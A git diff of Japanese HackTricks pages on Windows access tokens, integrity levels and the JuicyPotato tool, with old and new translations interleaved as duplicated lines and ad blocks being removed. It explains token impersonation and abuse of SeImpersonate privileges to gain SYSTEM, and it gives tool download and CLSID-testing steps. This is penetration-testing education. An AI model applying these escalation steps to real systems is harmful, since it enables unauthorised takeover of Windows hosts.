<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害された**かどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## アクセストークン
|
||||
|
||||
システムに**ログインしている各ユーザーは、そのログオンセッションのセキュリティ情報を持つアクセストークンを保持しています**。ユーザーがログインすると、システムはアクセストークンを作成します。**ユーザーのために実行されるすべてのプロセスは、アクセストークンのコピーを持っています**。トークンはユーザー、ユーザーのグループ、およびユーザーの権限を識別します。トークンには、現在のログオンセッションを識別するログオンSID(セキュリティ識別子)も含まれています。
|
||||
各**ユーザーがシステムにログイン**すると、そのログオンセッションの**セキュリティ情報を持つアクセストークンを保持します**。ユーザーがログインすると、システムはアクセストークンを作成します。**ユーザーのために実行されるすべてのプロセスは**、**アクセストークンのコピーを持っています**。トークンはユーザー、ユーザーのグループ、およびユーザーの特権を識別します。トークンには、現在のログオンセッションを識別するログオンSID(セキュリティ識別子)も含まれています。
|
||||
|
||||
この情報は `whoami /all` を実行することで確認できます。
|
||||
この情報は`whoami /all`を実行することで確認できます。
|
||||
```
|
||||
whoami /all
|
||||
|
||||
|
@ -84,7 +71,7 @@ or using _Process Explorer_ from Sysinternals (select process and access"Securit
|
|||
### ローカル管理者
|
||||
|
||||
ローカル管理者がログインすると、**2つのアクセス トークンが作成されます**: 1つは管理者権限を持ち、もう1つは通常の権限を持ちます。**デフォルトでは**、このユーザーがプロセスを実行するとき、**通常の**(非管理者)**権限のトークンが使用されます**。このユーザーが**管理者として**何かを**実行**しようとすると(例えば「管理者として実行」)、**UAC**が許可を求めるために使用されます。\
|
||||
[**UACについてもっと学びたい場合は、このページを読んでください**](../authentication-credentials-uac-and-efs/#uac)**。**
|
||||
[**UACについて詳しく学ぶにはこのページを読んでください**](../authentication-credentials-uac-and-efs/#uac)**。**
|
||||
|
||||
### 資格情報のユーザーなりすまし
|
||||
|
||||
|
@ -93,7 +80,7 @@ or using _Process Explorer_ from Sysinternals (select process and access"Securit
|
|||
runas /user:domain\username cmd.exe
|
||||
```
|
||||
**アクセス トークン**には、**LSASS**内のログオン セッションの**参照**も含まれています。これは、プロセスがネットワークのいくつかのオブジェクトにアクセスする必要がある場合に便利です。\
|
||||
ネットワーク サービスにアクセスするために**異なる資格情報を使用するプロセス**を起動するには、次のようにします:
|
||||
ネットワーク サービスにアクセスするために**異なる資格情報を使用するプロセス**を起動するには、次のコマンドを使用します:
|
||||
```
|
||||
runas /user:domain\username /netonly cmd.exe
|
||||
```
|
||||
|
@ -103,7 +90,7 @@ runas /user:domain\username /netonly cmd.exe
|
|||
|
||||
利用可能なトークンには2種類あります:
|
||||
|
||||
* **プライマリトークン**: プロセスのセキュリティ資格情報の表現として機能します。プライマリトークンの作成とプロセスとの関連付けは、特権の分離の原則を強調するために、昇格された権限を必要とするアクションです。通常、トークンの作成は認証サービスが担当し、ログオンサービスがユーザーのオペレーティングシステムシェルとの関連付けを処理します。プロセスは作成時に親プロセスのプライマリトークンを継承することに注意が必要です。
|
||||
* **プライマリートークン**: プロセスのセキュリティ資格情報の表現として機能します。プライマリートークンの作成とプロセスとの関連付けは、特権の分離の原則を強調するために、昇格された権限を必要とするアクションです。通常、トークンの作成は認証サービスが担当し、ログオンサービスがユーザーのオペレーティングシステムシェルとの関連付けを処理します。プロセスは作成時に親プロセスのプライマリートークンを継承することに注意が必要です。
|
||||
* **インパーソネーショントークン**: サーバーアプリケーションがクライアントのアイデンティティを一時的に採用して安全なオブジェクトにアクセスできるようにします。このメカニズムは、4つの操作レベルに階層化されています:
|
||||
* **匿名**: 身元不明のユーザーと同様のサーバーアクセスを付与します。
|
||||
* **識別**: サーバーがオブジェクトアクセスに利用せずにクライアントのアイデンティティを確認できるようにします。
|
||||
|
@ -112,33 +99,22 @@ runas /user:domain\username /netonly cmd.exe
|
|||
|
||||
#### インパーソネートトークン
|
||||
|
||||
metasploitの_**incognito**_モジュールを使用すると、十分な権限があれば、他の**トークン**を簡単に**リスト**および**インパーソネート**できます。これは、**他のユーザーのように行動するため**に役立つ可能性があります。この技術を使用して**権限を昇格**させることもできます。
|
||||
メタスプライトの _**incognito**_ モジュールを使用すると、十分な権限があれば、他の **トークン** を簡単に **リスト** し、**インパーソネート** できます。これは、**他のユーザーのようにアクションを実行する**のに役立ちます。この技術を使用して **権限を昇格** することもできます。
|
||||
|
||||
### トークン権限
|
||||
### トークンの権限
|
||||
|
||||
**権限を昇格させるために悪用できるトークン権限を学びましょう:**
|
||||
**権限を昇格させるために悪用できるトークンの権限を学びましょう:**
|
||||
|
||||
{% content-ref url="privilege-escalation-abusing-tokens.md" %}
|
||||
[privilege-escalation-abusing-tokens.md](privilege-escalation-abusing-tokens.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
[**すべての可能なトークン権限といくつかの定義をこの外部ページで確認してください**](https://github.com/gtworek/Priv2Admin)。
|
||||
[**すべての可能なトークンの権限とこの外部ページのいくつかの定義を確認してください**](https://github.com/gtworek/Priv2Admin)。
|
||||
|
||||
## 参考文献
|
||||
|
||||
トークンについてさらに学ぶには、次のチュートリアルを参照してください:[https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) および [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害された**かどうかを確認するための**無料**機能を提供します。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,34 +15,20 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Integrity Levels
|
||||
|
||||
Windows Vista以降のバージョンでは、すべての保護されたアイテムには**整合性レベル**タグが付けられます。この設定では、特定のフォルダーやファイルを除いて、ファイルやレジストリキーに「中」整合性レベルが主に割り当てられます。標準ユーザーによって開始されたプロセスは中整合性レベルを持つのがデフォルトの動作であり、サービスは通常、システム整合性レベルで動作します。高整合性ラベルはルートディレクトリを保護します。
|
||||
Windows Vista以降のバージョンでは、すべての保護されたアイテムに**整合性レベル**タグが付いています。この設定では、特定のフォルダーやファイルを除いて、ファイルやレジストリキーに「中」整合性レベルが主に割り当てられます。デフォルトの動作は、標準ユーザーによって開始されたプロセスが中整合性レベルを持つことであり、サービスは通常、システム整合性レベルで動作します。高整合性ラベルはルートディレクトリを保護します。
|
||||
|
||||
重要なルールは、オブジェクトのレベルよりも低い整合性レベルを持つプロセスによってオブジェクトが変更されることはできないということです。整合性レベルは次の通りです:
|
||||
重要なルールは、オブジェクトのレベルよりも低い整合性レベルを持つプロセスによってオブジェクトが変更されることはできないということです。整合性レベルは次のとおりです:
|
||||
|
||||
* **Untrusted**: このレベルは匿名ログインを持つプロセス用です。 %%%例: Chrome%%%
|
||||
* **Low**: 主にインターネットとの相互作用のため、特にInternet Explorerの保護モードで、関連するファイルやプロセス、**一時インターネットフォルダー**のような特定のフォルダーに影響を与えます。低整合性プロセスは、レジストリ書き込みアクセスがないことや、ユーザープロファイル書き込みアクセスが制限されるなど、重大な制限に直面します。
|
||||
* **Medium**: ほとんどの活動のデフォルトレベルで、標準ユーザーや特定の整合性レベルを持たないオブジェクトに割り当てられます。管理者グループのメンバーもデフォルトでこのレベルで動作します。
|
||||
* **High**: 管理者専用で、低整合性レベルのオブジェクトを変更できるようにし、高整合性レベルのオブジェクトも含まれます。
|
||||
* **System**: Windowsカーネルとコアサービスのための最高の操作レベルで、管理者でさえもアクセスできず、重要なシステム機能を保護します。
|
||||
* **Installer**: 他のすべてのレベルの上に位置するユニークなレベルで、このレベルのオブジェクトは他のオブジェクトをアンインストールできます。
|
||||
* **信頼されていない**: このレベルは匿名ログインを持つプロセス用です。 %%%例: Chrome%%%
|
||||
* **低**: 主にインターネットとの相互作用のため、特にInternet Explorerの保護モードで、関連するファイルやプロセス、**一時インターネットフォルダー**のような特定のフォルダーに影響を与えます。低整合性プロセスは、レジストリ書き込みアクセスなし、ユーザープロファイル書き込みアクセスの制限など、重大な制約に直面します。
|
||||
* **中**: ほとんどの活動のデフォルトレベルで、標準ユーザーおよび特定の整合性レベルを持たないオブジェクトに割り当てられます。管理者グループのメンバーもデフォルトでこのレベルで動作します。
|
||||
* **高**: 管理者専用で、低整合性レベルのオブジェクトを変更できるようにし、高整合性レベルのオブジェクトも含まれます。
|
||||
* **システム**: Windowsカーネルとコアサービスの最高の操作レベルで、管理者でさえもアクセスできず、重要なシステム機能を保護します。
|
||||
* **インストーラー**: 他のすべてのレベルの上に位置するユニークなレベルで、このレベルのオブジェクトは他のオブジェクトをアンインストールできます。
|
||||
|
||||
**Process Explorer**を使用してプロセスの整合性レベルを取得できます。**Sysinternals**からプロセスの**プロパティ**にアクセスし、"**Security**"タブを表示します:
|
||||
**Process Explorer**を使用してプロセスの整合性レベルを取得できます。**Sysinternals**からプロセスの**プロパティ**にアクセスし、**セキュリティ**タブを表示します:
|
||||
|
||||
![](<../../.gitbook/assets/image (824).png>)
|
||||
|
||||
|
@ -79,7 +65,7 @@ NT AUTHORITY\SERVICE:(I)(M,DC)
|
|||
NT AUTHORITY\BATCH:(I)(M,DC)
|
||||
Mandatory Label\High Mandatory Level:(NW)
|
||||
```
|
||||
これは興味深いところです。ユーザー `DESKTOP-IDJHTKP\user` がファイルに対して **完全な権限** を持っていることがわかります(実際、このユーザーがファイルを作成したのです)。しかし、実装された最小の整合性レベルのため、彼は高い整合性レベル内で実行していない限り、ファイルを変更することができません(彼はそれを読むことができることに注意してください):
|
||||
これは興味深いところです。ユーザー `DESKTOP-IDJHTKP\user` がファイルに対して **完全な権限** を持っていることがわかります(実際、このユーザーがファイルを作成しました)。しかし、実装された最小の整合性レベルのため、彼は高い整合性レベル内で実行していない限り、ファイルを変更することができません(彼はそれを読むことができることに注意してください):
|
||||
```
|
||||
echo 1234 > asd.txt
|
||||
Access is denied.
|
||||
|
@ -89,12 +75,12 @@ C:\Users\Public\asd.txt
|
|||
Access is denied.
|
||||
```
|
||||
{% hint style="info" %}
|
||||
**したがって、ファイルに最低限の整合性レベルがある場合、それを変更するには、その整合性レベル以上で実行している必要があります。**
|
||||
**したがって、ファイルに最低限の整合性レベルがある場合、それを変更するには、その整合性レベル以上で実行する必要があります。**
|
||||
{% endhint %}
|
||||
|
||||
### バイナリの整合性レベル
|
||||
|
||||
私は `cmd.exe` のコピーを `C:\Windows\System32\cmd-low.exe` に作成し、**管理者コンソールから低い整合性レベルを設定しました:**
|
||||
`cmd.exe`のコピーを`C:\Windows\System32\cmd-low.exe`に作成し、**管理者コンソールから低い整合性レベルを設定しました:**
|
||||
```
|
||||
icacls C:\Windows\System32\cmd-low.exe
|
||||
C:\Windows\System32\cmd-low.exe NT AUTHORITY\SYSTEM:(I)(F)
|
||||
|
@ -108,37 +94,26 @@ Mandatory Label\Low Mandatory Level:(NW)
|
|||
|
||||
![](<../../.gitbook/assets/image (313).png>)
|
||||
|
||||
興味のある方のために、バイナリに高い整合性レベルを割り当てると(`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`)、自動的に高い整合性レベルで実行されるわけではありません(中程度の整合性レベルから呼び出すと、デフォルトで中程度の整合性レベルで実行されます)。
|
||||
興味のある方のために、高い整合性レベルをバイナリに割り当てると(`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`)、自動的に高い整合性レベルで実行されるわけではありません(中程度の整合性レベルから呼び出すと、デフォルトで中程度の整合性レベルで実行されます)。
|
||||
|
||||
### プロセスの整合性レベル
|
||||
|
||||
すべてのファイルやフォルダーには最小整合性レベルがあるわけではありませんが、**すべてのプロセスは整合性レベルの下で実行されています**。ファイルシステムで起こったことと同様に、**プロセスが別のプロセス内に書き込むには、少なくとも同じ整合性レベルを持っている必要があります**。これは、低い整合性レベルのプロセスが中程度の整合性レベルのプロセスに対してフルアクセスのハンドルを開くことができないことを意味します。
|
||||
すべてのファイルやフォルダーには最小整合性レベルがあるわけではありませんが、**すべてのプロセスは整合性レベルの下で実行されています**。ファイルシステムで起こったことと同様に、**あるプロセスが別のプロセス内に書き込むには、少なくとも同じ整合性レベルを持っている必要があります**。これは、低い整合性レベルのプロセスが中程度の整合性レベルのプロセスに対してフルアクセスのハンドルを開くことができないことを意味します。
|
||||
|
||||
このセクションと前のセクションで述べた制限により、セキュリティの観点からは、常に**可能な限り低い整合性レベルでプロセスを実行することが推奨されます**。
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**侵害された**かどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,36 +1,22 @@
|
|||
# JuicyPotato
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**侵害された**かどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="warning" %}
|
||||
**JuicyPotatoは** Windows Server 2019およびWindows 10ビルド1809以降では動作しません。ただし、[**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**、** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**、** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)を使用して、**同じ特権を利用し、`NT AUTHORITY\SYSTEM`**レベルのアクセスを取得できます。 _**確認:**_
|
||||
**JuicyPotatoは** Windows Server 2019およびWindows 10ビルド1809以降では動作しません。ただし、[**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**、**[**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**、**[**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)を使用して、**同じ特権を利用し、`NT AUTHORITY\SYSTEM`**レベルのアクセスを取得できます。_**確認してください:**_
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="roguepotato-and-printspoofer.md" %}
|
||||
|
@ -39,23 +25,23 @@ WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウ
|
|||
|
||||
## Juicy Potato (ゴールデン特権の悪用) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||
|
||||
_少しのジュースを加えた_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG) _の甘いバージョン、つまり、**WindowsサービスアカウントからNT AUTHORITY\SYSTEMへの別のローカル特権昇格ツール**_
|
||||
_少しのジュースを加えた_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG) _の甘いバージョン、つまり**WindowsサービスアカウントからNT AUTHORITY\SYSTEMへの別のローカル特権昇格ツール**_
|
||||
|
||||
#### JuicyPotatoは[https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)からダウンロードできます
|
||||
#### juicypotatoは[https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)からダウンロードできます
|
||||
|
||||
### 概要 <a href="#summary" id="summary"></a>
|
||||
|
||||
[**juicy-potatoのReadmeから**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
||||
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)とその[バリアント](https://github.com/decoder-it/lonelypotato)は、[`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [サービス](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126)に基づく特権昇格チェーンを利用し、`127.0.0.1:6666`でMiTMリスナーを持ち、`SeImpersonate`または`SeAssignPrimaryToken`特権を持っている場合に機能します。Windowsビルドレビュー中に、`BITS`が意図的に無効にされ、ポート`6666`が使用されている設定を見つけました。
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)およびその[バリアント](https://github.com/decoder-it/lonelypotato)は、[`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [サービス](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126)に基づく特権昇格チェーンを利用し、`127.0.0.1:6666`でMiTMリスナーを持ち、`SeImpersonate`または`SeAssignPrimaryToken`特権を持っている場合に機能します。Windowsビルドレビュー中に、`BITS`が意図的に無効にされ、ポート`6666`が使用されている設定を見つけました。
|
||||
|
||||
私たちは[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)を武器化することに決めました: **Juicy Potatoにこんにちはを言いましょう**。
|
||||
私たちは[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)を武器化することに決めました:**Juicy Potatoにこんにちはを言いましょう**。
|
||||
|
||||
> 理論については、[Rotten Potato - サービスアカウントからSYSTEMへの特権昇格](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)を参照し、リンクと参考文献のチェーンをたどってください。
|
||||
|
||||
私たちは、`BITS`以外にも悪用できるCOMサーバーがいくつかあることを発見しました。それらは次の条件を満たす必要があります:
|
||||
私たちは、`BITS`以外にも悪用できるCOMサーバーがいくつかあることを発見しました。それらは次の条件を満たす必要があります:
|
||||
|
||||
1. 現在のユーザーによってインスタンス化可能であること、通常は偽装特権を持つ「サービスユーザー」
|
||||
1. 現在のユーザーによってインスタンス化可能であること、通常は特権を持つ「サービスユーザー」
|
||||
2. `IMarshal`インターフェースを実装していること
|
||||
3. 高い権限のユーザー(SYSTEM、Administratorなど)として実行されること
|
||||
|
||||
|
@ -63,12 +49,12 @@ _少しのジュースを加えた_ [_RottenPotatoNG_](https://github.com/breenm
|
|||
|
||||
### ジューシーな詳細 <a href="#juicy-details" id="juicy-details"></a>
|
||||
|
||||
JuicyPotatoを使用すると、次のことができます:
|
||||
JuicyPotatoを使用すると:
|
||||
|
||||
* **ターゲットCLSID** _任意のCLSIDを選択できます。_ [_こちら_](http://ohpe.it/juicy-potato/CLSID/) _でOS別に整理されたリストを見つけることができます。_
|
||||
* **COMリスニングポート** _好みのCOMリスニングポートを定義します(ハードコーディングされた6666の代わりに)_
|
||||
* **COMリスニングIPアドレス** _任意のIPにサーバーをバインドします_
|
||||
* **プロセス作成モード** _偽装されたユーザーの特権に応じて、次のいずれかを選択できます:_
|
||||
* **プロセス作成モード** _偽装されたユーザーの特権に応じて、次のいずれかを選択できます:_
|
||||
* `CreateProcessWithToken`(`SeImpersonate`が必要)
|
||||
* `CreateProcessAsUser`(`SeAssignPrimaryToken`が必要)
|
||||
* `両方`
|
||||
|
@ -76,7 +62,7 @@ JuicyPotatoを使用すると、次のことができます:
|
|||
* **プロセス引数** _起動するプロセスの引数をカスタマイズします_
|
||||
* **RPCサーバーアドレス** _ステルスアプローチのために、外部RPCサーバーに認証できます_
|
||||
* **RPCサーバーポート** _外部サーバーに認証したい場合に便利で、ファイアウォールがポート`135`をブロックしている場合…_
|
||||
* **テストモード** _主にテスト目的、つまりCLSIDのテストです。DCOMを作成し、トークンのユーザーを表示します。_ [_テスト用はこちら_](http://ohpe.it/juicy-potato/Test/)
|
||||
* **テストモード** _主にテスト目的、つまりCLSIDのテスト。DCOMを作成し、トークンのユーザーを表示します。テストについては_ [_こちらを参照_](http://ohpe.it/juicy-potato/Test/)
|
||||
|
||||
### 使用法 <a href="#usage" id="usage"></a>
|
||||
```
|
||||
|
@ -144,7 +130,7 @@ c:\Users\Public>
|
|||
|
||||
[Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1)をダウンロードしてPSセッションに読み込み、[GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1)をダウンロードして実行します。そのスクリプトはテストする可能性のあるCLSIDのリストを作成します。
|
||||
|
||||
次に[test_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)をダウンロードし(CLSIDリストとjuicypotato実行可能ファイルへのパスを変更)、実行します。これにより、すべてのCLSIDを試し始め、**ポート番号が変更されると、CLSIDが機能したことを意味します**。
|
||||
次に[test_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)をダウンロードし(CLSIDリストとjuicypotato実行可能ファイルへのパスを変更)、実行します。すべてのCLSIDを試し始め、**ポート番号が変更されると、それはCLSIDが機能したことを意味します**。
|
||||
|
||||
**-cパラメータを使用して**動作するCLSIDを**確認してください**
|
||||
|
||||
|
@ -152,17 +138,6 @@ c:\Users\Public>
|
|||
|
||||
* [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害された**かどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -173,7 +148,7 @@ GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
